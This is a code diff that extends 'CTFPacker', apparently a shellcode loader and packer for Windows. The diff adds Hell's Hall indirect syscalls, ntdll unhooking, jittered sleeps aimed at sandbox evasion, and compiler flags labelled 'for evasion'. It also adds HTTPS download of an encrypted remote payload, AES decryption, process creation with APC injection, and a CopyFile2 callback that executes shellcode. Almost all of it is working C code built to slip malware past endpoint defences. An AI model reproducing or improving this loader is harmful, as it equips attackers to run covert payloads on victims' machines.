packages=find_packages(),
package_data={'custom_certs':['cert1.pfx', 'cert2.pfx'],
package_data={'custom_certs':['cert1.pfx', 'cert2.pfx'],
'templates': [
'stageless/*',
'stageless/*',
'staged/*'
]
],
'gui': ['assets/*'],
},
entry_points={
'console_scripts': [
'ctfpacker=main:main'
],
'gui_scripts': [
'ctfpacker-gui=gui.app:run_gui'
],
},
platforms=['Linux']
)
+48 -15
View File
@@ -1,5 +1,6 @@
###############################################################################
# Makefile for Clang (MinGW) on Windows or cross-compiling from Linux
# Makefile for Clang (MinGW) cross-compiling from Linux
# Targets: Debian / Ubuntu / Kali Linux (mingw-w64 + clang + lld + nasm)
# DO NOT MODIFY THIS FILE UNLESS YOU KNOW WHAT YOU ARE DOING
###############################################################################
@@ -8,15 +9,29 @@
# ───────────────────────────────────────────────────────────────────────────────
.SUFFIXES:
TARGET_TRIPLE ?= x86_64-w64-mingw32
CLANG ?= clang --target=$(TARGET_TRIPLE) -fuse-ld=lld
CLANG ?= clang --target=$(TARGET_TRIPLE) -fuse-ld=lld
# MinGWw64 include / lib helper paths (autodetect the GCC win32 subtree)
GCC_WIN32_PATH := $(shell find /usr/lib/gcc/$(TARGET_TRIPLE)/ -type d -name "*win32" | head -n 1)
INCLUDE_DIR := /usr/$(TARGET_TRIPLE)/include
INCLUDE := -I$(INCLUDE_DIR)
LIBPATH := -L$(GCC_WIN32_PATH)
# Parallel jobs — use all available cores (override with: make JOBS=N)
JOBS ?= $(shell nproc 2>/dev/null || echo 4)
MAKEFLAGS += -j$(JOBS)
# ── Sysroot paths (standard Debian/Ubuntu/Kali layout) ───────────────────────
MINGW_SYSROOT := /usr/$(TARGET_TRIPLE)
INCLUDE_DIR := $(MINGW_SYSROOT)/include
MINGW_LIB_DIR := $(MINGW_SYSROOT)/lib
INCLUDE := -I$(INCLUDE_DIR)
# GCC runtime libs (libgcc.a, libmingwex.a …).
# Auto-detect the win32 subtree; fall back to MINGW_LIB_DIR if GCC is absent
# (e.g. llvm-mingw-only setups).
GCC_WIN32_PATH := $(shell find /usr/lib/gcc/$(TARGET_TRIPLE)/ -type d -name "*win32" 2>/dev/null | head -n1)
ifeq ($(GCC_WIN32_PATH),)
GCC_WIN32_PATH := $(MINGW_LIB_DIR)
endif
# Both paths needed: GCC runtime + mingw-w64 import stubs (winhttp, ntdll …)
LIBPATH := -L$(GCC_WIN32_PATH) -L$(MINGW_LIB_DIR)
# ───────────────────────────────────────────────────────────────────────────────
# 2. Build format selector (EXE is default)
@@ -27,11 +42,13 @@ FORMAT ?= EXE # { EXE | DLL }
# 3. Source files
# ───────────────────────────────────────────────────────────────────────────────
COMMON_SRCS := \
api_hashing.c \
api_hashing.c \
download.c \
inject.c \
unhook.c \
whispers.c
hellhall.c \
sandbox.c \
trampoline.c
ifeq ($(FORMAT),DLL)
MAIN_SRC := main_dll.c
@@ -60,8 +77,12 @@ ASFLAGS := -f win64
# Baseline flags from the original CTFPacker Makefile:
# -O0 -Wall -w -fms-extensions -fdeclspec -static
# We keep them intact so behaviour matches the preDLL build.
CFLAGS_BASE := -O0 -Wall -w -fms-extensions -fdeclspec -static
LDFLAGS_BASE := -Wl,--disable-auto-import -s
# Hardening flags for evasion and binary optimization
HARDENING_FLAGS := -fno-stack-protector -fno-exceptions -fno-asynchronous-unwind-tables \
-ffunction-sections -fdata-sections -Wl,--gc-sections
CFLAGS_BASE := -O0 -Wall -w -fms-extensions -fdeclspec -static -D_WIN32_WINNT=0x0602 $(HARDENING_FLAGS)
LDFLAGS_BASE := -Wl,--disable-auto-import -s -Wl,--no-seh -mwindows
LIBS := -lwinhttp -lntdll
ifeq ($(FORMAT),DLL)
@@ -76,15 +97,27 @@ endif
# ───────────────────────────────────────────────────────────────────────────────
# 6. Phony targets
# ───────────────────────────────────────────────────────────────────────────────
.PHONY: all exe dll clean
.PHONY: all exe dll clean check
all: $(TARGET)
exe:
$(MAKE) FORMAT=EXE
$(MAKE) FORMAT=EXE JOBS=$(JOBS)
dll:
$(MAKE) FORMAT=DLL
$(MAKE) FORMAT=DLL JOBS=$(JOBS)
# ── Toolchain sanity check ────────────────────────────────────────────────────
check:
@echo "[*] Checking required tools..."
@command -v clang >/dev/null 2>&1 || { echo "[-] clang not found"; exit 1; }
@command -v lld >/dev/null 2>&1 || { echo "[-] lld not found"; exit 1; }
@command -v nasm >/dev/null 2>&1 || { echo "[-] nasm not found"; exit 1; }
@command -v make >/dev/null 2>&1 || { echo "[-] make not found"; exit 1; }
@test -d "$(INCLUDE_DIR)" || { echo "[-] MinGW includes missing: $(INCLUDE_DIR)"; exit 1; }
@test -d "$(MINGW_LIB_DIR)" || { echo "[-] MinGW libs missing: $(MINGW_LIB_DIR)"; exit 1; }
@test -f "$(MINGW_LIB_DIR)/libwinhttp.a" || { echo "[-] libwinhttp.a not found in $(MINGW_LIB_DIR) — install mingw-w64"; exit 1; }
@echo "[+] All tools OK (jobs=$(JOBS))"
# ───────────────────────────────────────────────────────────────────────────────
# 7. Linking & compilation rules
+9 -3
View File
@@ -14,6 +14,8 @@
#define IP L"#-IP_VALUE-#" // Changable
#define PORT #-PORT_VALUE-# // Changable
#define PATH L"#-PATH_VALUE-#" // Changable
#define USE_HTTPS #-USE_HTTPS-# // 1 for HTTPS, 0 for HTTP
#define USER_AGENT L"#-USER_AGENT-#"
BOOL GetContent(OUT PBYTE* pPayload,OUT SIZE_T* sSizeOfPayload) {
@@ -30,7 +32,7 @@ BOOL GetContent(OUT PBYTE* pPayload,OUT SIZE_T* sSizeOfPayload) {
// First opening an internet session
hSession = WinHttpOpen(
L"Mozilla/5.0 (Windows; U; Windows NT 10.3;; en-US) AppleWebKit/536.34 (KHTML, like Gecko) Chrome/47.0.3601.371 Safari/536",
USER_AGENT,
WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,
@@ -54,8 +56,12 @@ BOOL GetContent(OUT PBYTE* pPayload,OUT SIZE_T* sSizeOfPayload) {
goto _CleanUp;
}
// Creating the HTTP request
hRequest = WinHttpOpenRequest(hConnect, NULL, path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_ESCAPE_DISABLE);
// Creating the HTTP/HTTPS request
DWORD dwFlags = WINHTTP_FLAG_ESCAPE_DISABLE;
if (USE_HTTPS) {
dwFlags |= WINHTTP_FLAG_SECURE;
}
hRequest = WinHttpOpenRequest(hConnect, NULL, path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, dwFlags);
// Checking again
if (hRequest == NULL) {
+6
View File
@@ -1,14 +1,20 @@
#pragma once
#include <stdint.h>
#include <stdlib.h>
// API Hashing Part
#define HASHA(API) (HashStringDjb2A((PCHAR) API))
#define INITIAL_HASH #-INITIAL_HASH_VALUE-#
#define INITIAL_SEED #-INITIAL_SEED_VALUE-#
// Jittered sleep. uses WaitForSingleObject so sandbox time-acceleration
#define JITTER_SLEEP(ms) \
WaitForSingleObject(GetCurrentProcess(), (DWORD)((ms) + (rand() % ((ms) / 2 + 1))))
BOOL GetContent(OUT PBYTE* pPayload, OUT SIZE_T* sSizeOfPayload);
BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread);
BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress);
BOOL CallbackInjection(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress);
HMODULE GetModuleHandleH(DWORD dwModuleNameHash);
FARPROC GetProcAddressH(HMODULE moduleHandle, DWORD hash);
+234
View File
@@ -0,0 +1,234 @@
/*
* hellhall.c
*
* Hell's Hall indirect syscall implementation.
* Adapted from Hell's Hall (MalDevAcademy), ported to Clang/x64/NASM.
*
* Replaces SysWhispers3. inject.c is unchanged — NTAVM/NTPVM/NTWVM/NTQAT
* are exported with identical signatures.
*
* How it works:
* 1. Walk the PEB InMemoryOrderModuleList to find ntdll base.
* 2. Enumerate the export directory; for each export, CRC32b-hash the name.
* 3. Once matched, scan the stub body for "MOV R10,RCX; MOV EAX,<SSN>"
* to extract the syscall number (works even on hooked stubs).
* 4. Find the nearest "syscall" (0F 05) instruction within the stub.
* 5. SetConfig(SSN, &syscall_instr) stores both in .data globals.
* 6. HellHall_Nt*() does: MOV R10,RCX ; MOV EAX,[SSN] ; JMP [syscall_instr]
* — execution resurfaces inside ntdll, making call stacks look legitimate.
*/
#include <windows.h>
#include "hellhall.h"
#include "structs.h"
/* -------------------------------------------------------------------------- */
/* Internal ntdll export-table context (populated once) */
/* -------------------------------------------------------------------------- */
typedef struct _HH_NTDLL {
PBYTE pBase;
PIMAGE_DOS_HEADER pDos;
PIMAGE_NT_HEADERS pNt;
PIMAGE_EXPORT_DIRECTORY pExp;
PDWORD pdwFunctions;
PDWORD pdwNames;
PWORD pwOrdinals;
} HH_NTDLL;
static HH_NTDLL gNtdll = { 0 };
/* Per-syscall cache — resolved once; avoids repeated export-table scans */
typedef struct _HH_CACHE {
SysFunc NtAllocateVirtualMemory;
SysFunc NtProtectVirtualMemory;
SysFunc NtWriteVirtualMemory;
SysFunc NtQueueApcThread;
} HH_CACHE;
static HH_CACHE gCache = { 0 };
static BOOL gReady = FALSE;
/* -------------------------------------------------------------------------- */
/* CRC32b */
/* -------------------------------------------------------------------------- */
hh_u32 HH_Crc32b(const hh_u8 *str)
{
hh_u32 crc = 0xFFFFFFFFu;
int i = 0;
while (str[i]) {
hh_u32 byte = (hh_u32)str[i];
crc ^= byte;
for (int j = 7; j >= 0; j--) {
hh_u32 mask = (hh_u32)(-(int)(crc & 1u));
crc = (crc >> 1) ^ (HH_SEED & mask);
}
i++;
}
return ~crc;
}
/* -------------------------------------------------------------------------- */
/* Populate ntdll export-table pointers (once) */
/* -------------------------------------------------------------------------- */
BOOL HH_InitNtdll(VOID)
{
if (gNtdll.pBase) return TRUE;
/* Walk PEB -> LDR InMemoryOrderModuleList:
* [1] = the process image itself
* [2] = ntdll.dll (always second in InMemoryOrder)
*
* Flink of InMemoryOrderModuleList -> InMemoryOrderLinks of entry[1]
* .Flink -> InMemoryOrderLinks of entry[2] (ntdll)
* - 0x10 -> base of LDR_DATA_TABLE_ENTRY (InMemoryOrderLinks is at +0x10)
* ->DllBase -> ntdll image base
*/
PPEB pPeb = (PPEB)__readgsqword(0x60);
if (!pPeb) return FALSE;
PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(
(PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
if (!pDte) return FALSE;
gNtdll.pBase = (PBYTE)pDte->DllBase;
if (!gNtdll.pBase) return FALSE;
gNtdll.pDos = (PIMAGE_DOS_HEADER)gNtdll.pBase;
if (gNtdll.pDos->e_magic != IMAGE_DOS_SIGNATURE) return FALSE;
gNtdll.pNt = (PIMAGE_NT_HEADERS)(gNtdll.pBase + gNtdll.pDos->e_lfanew);
if (gNtdll.pNt->Signature != IMAGE_NT_SIGNATURE) return FALSE;
gNtdll.pExp = (PIMAGE_EXPORT_DIRECTORY)(gNtdll.pBase +
gNtdll.pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
if (!gNtdll.pExp || !gNtdll.pExp->Base) return FALSE;
gNtdll.pdwFunctions = (PDWORD)(gNtdll.pBase + gNtdll.pExp->AddressOfFunctions);
gNtdll.pdwNames = (PDWORD)(gNtdll.pBase + gNtdll.pExp->AddressOfNames);
gNtdll.pwOrdinals = (PWORD) (gNtdll.pBase + gNtdll.pExp->AddressOfNameOrdinals);
return TRUE;
}
/* -------------------------------------------------------------------------- */
/* Resolve SSN + indirect syscall address for one NT function */
/* -------------------------------------------------------------------------- */
BOOL HH_InitSysFunc(IN hh_u32 uHash, OUT PSysFunc psF)
{
if (!uHash || !psF) return FALSE;
if (!gNtdll.pBase && !HH_InitNtdll()) return FALSE;
RtlSecureZeroMemory(psF, sizeof(SysFunc));
for (DWORD i = 0; i < gNtdll.pExp->NumberOfNames; i++) {
CHAR *name = (CHAR *)(gNtdll.pBase + gNtdll.pdwNames[i]);
if (HH_Crc32b((hh_u8 *)name) != uHash)
continue;
psF->uHash = uHash;
psF->pAddress = (PBYTE)(gNtdll.pBase +
gNtdll.pdwFunctions[gNtdll.pwOrdinals[i]]);
/* Scan stub body for:
* 4C 8B D1 mov r10, rcx
* B8 lo hi 00 00 mov eax, <SSN>
*
* Works even when the first few bytes are hooked/patched, because
* EDR hooks typically only overwrite the first 5-10 bytes (the jmp).
*/
for (DWORD j = 0; j < 0x50; j++) {
/* Hit a ret before finding the pattern — stub is trampolined oddly */
if (*((PBYTE)psF->pAddress + j) == 0xC3)
return FALSE;
if (*((PBYTE)psF->pAddress + j + 0) == 0x4C &&
*((PBYTE)psF->pAddress + j + 1) == 0x8B &&
*((PBYTE)psF->pAddress + j + 2) == 0xD1 &&
*((PBYTE)psF->pAddress + j + 3) == 0xB8)
{
BYTE lo = *((PBYTE)psF->pAddress + j + 4);
BYTE hi = *((PBYTE)psF->pAddress + j + 5);
psF->wSSN = (WORD)((hi << 8) | lo);
/* Find the nearest 'syscall' (0F 05) instruction */
for (DWORD z = 0, x = 1; z <= HH_RANGE; z++, x++) {
if (*((PBYTE)psF->pAddress + j + z) == 0x0F &&
*((PBYTE)psF->pAddress + j + x) == 0x05)
{
psF->pInst = (PVOID)((PBYTE)psF->pAddress + j + z);
break;
}
}
return (psF->wSSN != 0 && psF->pInst != NULL) ? TRUE : FALSE;
}
}
}
return FALSE;
}
/* -------------------------------------------------------------------------- */
/* One-time init — resolve all 4 syscalls and cache */
/* -------------------------------------------------------------------------- */
BOOL HH_Initialize(VOID)
{
if (gReady) return TRUE;
RtlSecureZeroMemory(&gCache, sizeof(HH_CACHE));
if (!HH_InitSysFunc(HH_HASH_NtAllocateVirtualMemory, &gCache.NtAllocateVirtualMemory)) return FALSE;
if (!HH_InitSysFunc(HH_HASH_NtProtectVirtualMemory, &gCache.NtProtectVirtualMemory)) return FALSE;
if (!HH_InitSysFunc(HH_HASH_NtWriteVirtualMemory, &gCache.NtWriteVirtualMemory)) return FALSE;
if (!HH_InitSysFunc(HH_HASH_NtQueueApcThread, &gCache.NtQueueApcThread)) return FALSE;
gReady = TRUE;
return TRUE;
}
/* -------------------------------------------------------------------------- */
/* Public wrappers — drop-in replacements for the old SysWhispers3 stubs */
/* -------------------------------------------------------------------------- */
NTSTATUS NTAVM(
IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType, IN ULONG Protect)
{
if (!HH_Initialize()) return (NTSTATUS)0xC0000001L;
SYSCALL(gCache.NtAllocateVirtualMemory);
return HellHall_NtAVM(ProcessHandle, BaseAddress,
ZeroBits, RegionSize, AllocationType, Protect);
}
NTSTATUS NTPVM(
IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress,
IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect)
{
if (!HH_Initialize()) return (NTSTATUS)0xC0000001L;
SYSCALL(gCache.NtProtectVirtualMemory);
return HellHall_NtPVM(ProcessHandle, BaseAddress,
RegionSize, NewProtect, OldProtect);
}
NTSTATUS NTWVM(
IN HANDLE ProcessHandle, IN PVOID BaseAddress,
IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten)
{
if (!HH_Initialize()) return (NTSTATUS)0xC0000001L;
SYSCALL(gCache.NtWriteVirtualMemory);
return HellHall_NtWVM(ProcessHandle, BaseAddress,
Buffer, NumberOfBytesToWrite, NumberOfBytesWritten);
}
NTSTATUS NTQAT(
IN HANDLE ThreadHandle, IN PKNORMAL_ROUTINE ApcRoutine,
IN PVOID ApcArgument1, IN PVOID ApcArgument2, IN PVOID ApcArgument3)
{
if (!HH_Initialize()) return (NTSTATUS)0xC0000001L;
SYSCALL(gCache.NtQueueApcThread);
return HellHall_NtQAT(ThreadHandle, ApcRoutine,
ApcArgument1, ApcArgument2, ApcArgument3);
}
+116
View File
@@ -0,0 +1,116 @@
/*
* hellhall.h
*
* Hell's Hall: indirect syscalls via SSN discovery + ntdll syscall-instruction
* trampoline. Adapted from Hell's Hall (MalDevAcademy).
*
* Drop-in replacement for SysWhispers3.
* Exports NTAVM / NTPVM / NTWVM / NTQAT with the same signatures.
*/
#pragma once
#include <windows.h>
/* -------------------------------------------------------------------------- */
/* Primitive types used internally */
/* -------------------------------------------------------------------------- */
typedef unsigned char hh_u8;
typedef unsigned int hh_u32;
/* -------------------------------------------------------------------------- */
/* CRC32b hash (Castagnoli, SEED = 0xEDB88320) */
/* -------------------------------------------------------------------------- */
#define HH_SEED 0xEDB88320u
#define HH_RANGE 0x1E /* max bytes to search forward for syscall */
hh_u32 HH_Crc32b(const hh_u8 *str);
#define HASH(s) HH_Crc32b((const hh_u8 *)(s))
/* Precomputed CRC32b hashes — verified: HASH("NtXxx") == constant below */
#define HH_HASH_NtAllocateVirtualMemory 0xE0762FEBu
#define HH_HASH_NtProtectVirtualMemory 0x5C2D1A97u
#define HH_HASH_NtWriteVirtualMemory 0xE4879939u
#define HH_HASH_NtQueueApcThread 0x235B0390u
/* -------------------------------------------------------------------------- */
/* SysFunc — one instance per syscall */
/* -------------------------------------------------------------------------- */
typedef struct _SysFunc {
PVOID pInst; /* address of a 'syscall' instruction inside ntdll */
PBYTE pAddress; /* address of the NT stub in ntdll */
WORD wSSN; /* syscall service number */
hh_u32 uHash; /* CRC32b of the function name */
} SysFunc, *PSysFunc;
/* -------------------------------------------------------------------------- */
/* Assembly stubs (whispers-asm.x64.asm) */
/* -------------------------------------------------------------------------- */
EXTERN_C VOID SetConfig(WORD wSSN, PVOID pSyscallInst);
#define SYSCALL(sf) (SetConfig((sf).wSSN, (sf).pInst))
/* -------------------------------------------------------------------------- */
/* NTSTATUS / KNORMAL_ROUTINE (guard against redefinition) */
/* -------------------------------------------------------------------------- */
#ifndef _NTDEF_
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
typedef NTSTATUS *PNTSTATUS;
#endif
#ifndef _KNORMAL_ROUTINE_DEFINED
#define _KNORMAL_ROUTINE_DEFINED
typedef VOID(KNORMAL_ROUTINE)(IN PVOID NormalContext,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2);
typedef KNORMAL_ROUTINE *PKNORMAL_ROUTINE;
#endif
/* -------------------------------------------------------------------------- */
/* Typed HellHall dispatch stubs (all share the same ASM body) */
/* -------------------------------------------------------------------------- */
EXTERN_C NTSTATUS HellHall_NtAVM(
HANDLE ProcessHandle, PVOID *BaseAddress,
ULONG ZeroBits, PSIZE_T RegionSize,
ULONG AllocationType, ULONG Protect);
EXTERN_C NTSTATUS HellHall_NtPVM(
HANDLE ProcessHandle, PVOID *BaseAddress,
PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect);
EXTERN_C NTSTATUS HellHall_NtWVM(
HANDLE ProcessHandle, PVOID BaseAddress,
PVOID Buffer, SIZE_T NumberOfBytesToWrite,
PSIZE_T NumberOfBytesWritten);
EXTERN_C NTSTATUS HellHall_NtQAT(
HANDLE ThreadHandle, PKNORMAL_ROUTINE ApcRoutine,
PVOID ApcArgument1, PVOID ApcArgument2, PVOID ApcArgument3);
/* -------------------------------------------------------------------------- */
/* Hell's Hall C API */
/* -------------------------------------------------------------------------- */
BOOL HH_InitNtdll(VOID);
BOOL HH_InitSysFunc(IN hh_u32 uHash, OUT PSysFunc psF);
BOOL HH_Initialize(VOID); /* resolve all 4 syscalls once at startup */
/* -------------------------------------------------------------------------- */
/* Public wrappers — same signatures as the old SysWhispers3 stubs */
/* -------------------------------------------------------------------------- */
NTSTATUS NTAVM(
IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType, IN ULONG Protect);
NTSTATUS NTPVM(
IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress,
IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect);
NTSTATUS NTWVM(
IN HANDLE ProcessHandle, IN PVOID BaseAddress,
IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten);
NTSTATUS NTQAT(
IN HANDLE ThreadHandle, IN PKNORMAL_ROUTINE ApcRoutine,
IN PVOID ApcArgument1 OPTIONAL,
IN PVOID ApcArgument2 OPTIONAL,
IN PVOID ApcArgument3 OPTIONAL);
+125 -4
View File
@@ -33,7 +33,7 @@ BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hP
// API Hashing
cCPA cCPAu = (cCPA) GetProcAddressH(GetModuleHandleH(#-KERNEL32_VALUE-#), #-CREATEPROCESSA_VALUE-#);
Sleep(15000);
JITTER_SLEEP(15000);
if(!cCPAu(
NULL,
lpPath,
@@ -55,7 +55,7 @@ BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hP
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
Sleep(5000);
JITTER_SLEEP(5000);
return TRUE;
}
@@ -83,8 +83,8 @@ BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShel
//printf("[+] Successfully Written %d Bytes\n", sNumberOfBytesWritten);
Sleep(2500);
if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
JITTER_SLEEP(2500);
if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READ, &uOldProtection)) != 0) {
//printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
@@ -94,4 +94,125 @@ BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShel
return TRUE;
}
// CopyFile2 compat types — only define when winbase.h does not already provide them.
// Newer mingw-w64 (Kali 2024+, Ubuntu 24.04+) includes these when _WIN32_WINNT >= 0x0602.
// We pass -D_WIN32_WINNT=0x0602 via CFLAGS so this block is effectively dead on
// modern toolchains; it remains as a safety net for legacy environments.
#if !defined(_WIN32_WINNT) || (_WIN32_WINNT < 0x0602)
typedef enum _COPYFILE2_MESSAGE_TYPE {
COPYFILE2_CALLBACK_NONE = 0,
COPYFILE2_CALLBACK_CHUNK_STARTED,
COPYFILE2_CALLBACK_CHUNK_FINISHED,
COPYFILE2_CALLBACK_STREAM_STARTED,
COPYFILE2_CALLBACK_STREAM_FINISHED,
COPYFILE2_CALLBACK_POLL_CONTINUE,
COPYFILE2_CALLBACK_ERROR,
COPYFILE2_CALLBACK_MAX
} COPYFILE2_MESSAGE_TYPE;
typedef enum _COPYFILE2_MESSAGE_ACTION {
COPYFILE2_PROGRESS_CONTINUE = 0,
COPYFILE2_PROGRESS_CANCEL,
COPYFILE2_PROGRESS_STOP,
COPYFILE2_PROGRESS_QUIET,
COPYFILE2_PROGRESS_PAUSE
} COPYFILE2_MESSAGE_ACTION;
typedef struct COPYFILE2_MESSAGE {
COPYFILE2_MESSAGE_TYPE Type;
DWORD dwPadding;
union {
struct { ULARGE_INTEGER ullChunkNumber; } ChunkStarted;
struct { ULARGE_INTEGER ullChunkNumber; } ChunkFinished;
struct { DWORD dwStreamNumber; } StreamStarted;
struct { DWORD dwStreamNumber; } StreamFinished;
struct { DWORD dwReserved; } PollContinue;
struct { DWORD dwReserved; } Error;
} Info;
} COPYFILE2_MESSAGE;
typedef COPYFILE2_MESSAGE_ACTION (CALLBACK *PCOPYFILE2_PROGRESS_ROUTINE)(
const COPYFILE2_MESSAGE *pMessage, PVOID pvCallbackContext);
typedef struct COPYFILE2_EXTENDED_PARAMETERS {
DWORD dwSize;
DWORD dwCopyFlags;
BOOL *pfCancel;
PCOPYFILE2_PROGRESS_ROUTINE pProgressRoutine;
PVOID pvCallbackContext;
} COPYFILE2_EXTENDED_PARAMETERS;
WINBASEAPI HRESULT WINAPI CopyFile2(PCWSTR pwszExistingFileName,
PCWSTR pwszNewFileName, COPYFILE2_EXTENDED_PARAMETERS *pExtendedParameters);
#endif // !defined(_WIN32_WINNT) || _WIN32_WINNT < 0x0602
BOOL CallbackInjection(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
SIZE_T sSize = sSizeOfShellcode;
NTSTATUS STATUS = 0x00; DWORD dwOldProtect = 0; WCHAR szSourceFile[MAX_PATH];
WCHAR szDestFile[MAX_PATH];
// Allocate RW memory — will be flipped to RX before execution
*ppAddress = VirtualAlloc(NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (*ppAddress == NULL) {
//printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
//printf("[i] Allocated Memory At : 0x%p \n", *ppAddress);
// Copy shellcode to RW memory
RtlMoveMemory(*ppAddress, pShellcode, sSizeOfShellcode);
//printf("[+] Successfully Written %d Bytes\n", sSizeOfShellcode);
// Flip to RX. never hold W+X simultaneously
VirtualProtect(*ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READ, &dwOldProtect);
// Setup CopyFile2 parameters with callback pointing to shellcode
COPYFILE2_EXTENDED_PARAMETERS params = { 0 };
params.dwSize = sizeof(COPYFILE2_EXTENDED_PARAMETERS);
params.dwCopyFlags = COPY_FILE_FAIL_IF_EXISTS;
params.pfCancel = FALSE;
params.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)*ppAddress; // Shellcode as callback
params.pvCallbackContext = NULL;
// Get TEMP path and create source/dest file paths
GetEnvironmentVariableW(L"TEMP", szSourceFile, MAX_PATH);
wcscpy(szDestFile, szSourceFile);
wcscat(szSourceFile, L"\\#-CALLBACK_SRC_TMP-#");
wcscat(szDestFile, L"\\#-CALLBACK_DST_TMP-#");
// Create a dummy source file
HANDLE hFile = CreateFileW(szSourceFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
DWORD dwWritten;
BYTE dummyData[1024] = { 0x41 }; // Just some dummy data
WriteFile(hFile, dummyData, sizeof(dummyData), &dwWritten, NULL);
CloseHandle(hFile);
}
// Delete destination if it exists
DeleteFileW(szDestFile);
JITTER_SLEEP(1500);
//printf("[i] Triggering shellcode via CopyFile2 callback...\n");
// Trigger the callback by copying the file
// The progress routine (our shellcode) will be called during the copy operation
HRESULT hr = CopyFile2(szSourceFile, szDestFile, &params);
// Cleanup temp files
DeleteFileW(szSourceFile);
DeleteFileW(szDestFile);
if (SUCCEEDED(hr)) {
//printf("[+] Callback executed successfully!\n");
return TRUE;
} else {
//printf("[!] CopyFile2 failed with HRESULT: 0x%0.8X\n", hr);
return TRUE; // Still return TRUE as callback might have executed
}
}
+33 -32
View File
@@ -4,6 +4,8 @@
#include "whispers.h"
#include "functions.h"
#include "AES_128_CBC.h"
#include "sandbox.h"
#include "trampoline.h"
#define TARGET_PROCESS "#-TARGET_PROCESS-#"
@@ -12,7 +14,7 @@ uint8_t aes_k[16] = { #-KEY_VALUE-# };
uint8_t aes_i[16] = { #-IV_VALUE-# };
int main() {
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
PBYTE pEncPayload = NULL;
SIZE_T sEncPayload = 0;
@@ -30,6 +32,9 @@ int main() {
NTSTATUS STATUS = 0x00;
// Seed RNG for jittered sleep timing
srand((unsigned int)GetTickCount());
// #-SANDBOX_CHECK_CALL-#
//printf("[+] Un-hooking Ntdll \n");
LPVOID nt = MapNtdll();
if (!nt)
@@ -37,8 +42,11 @@ int main() {
if (!Unhook(nt))
return -1;
// Install hooks AFTER unhooking so they don't get erased
// #-TRAMPOLINE_CALL-#
Sleep(500);
JITTER_SLEEP(500);
if (!GetContent(&pEncPayload, &sEncPayload)) {
//printf("[-] Failed to get the data!\n");
@@ -51,7 +59,7 @@ int main() {
// Decryption routine
//printf("[i] Starting the decryption...\n");
Sleep(500);
JITTER_SLEEP(500);
// Allocating memory to store the decrypted payload inside of pClearText
pClearText = (PBYTE)malloc(sEncPayload);
AES_DecryptInit(&ctx, aes_k, aes_i);
@@ -59,7 +67,7 @@ int main() {
//printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload);
Sleep(1500);
JITTER_SLEEP(1500);
//printf("[i] Creating suspended process..\n");
// Creating a suspeneded process now
if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
@@ -69,36 +77,29 @@ int main() {
}
//printf("[+] Process created with PID: %d\n", dwProcessId);
Sleep(2500);
//printf("[i] Injecting the shellcode into the process..\n");
// Doing the APC Injection
if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) {
return -1;
}
Sleep(1500);
//printf("[i] Running the shellcode via NtQueueApcThread..\n");
// Running the thread via QueueAPCThread
if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) {
//printf("[-] NtQueueApcThrad failed!\n");
return -1;
}
JITTER_SLEEP(2500);
// #-INJECTION_METHOD_PLACEHOLDER-#
// API Hashing
cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#);
//printf("[i] Position of DAPsu: 0x%p\n", cDAPSu);
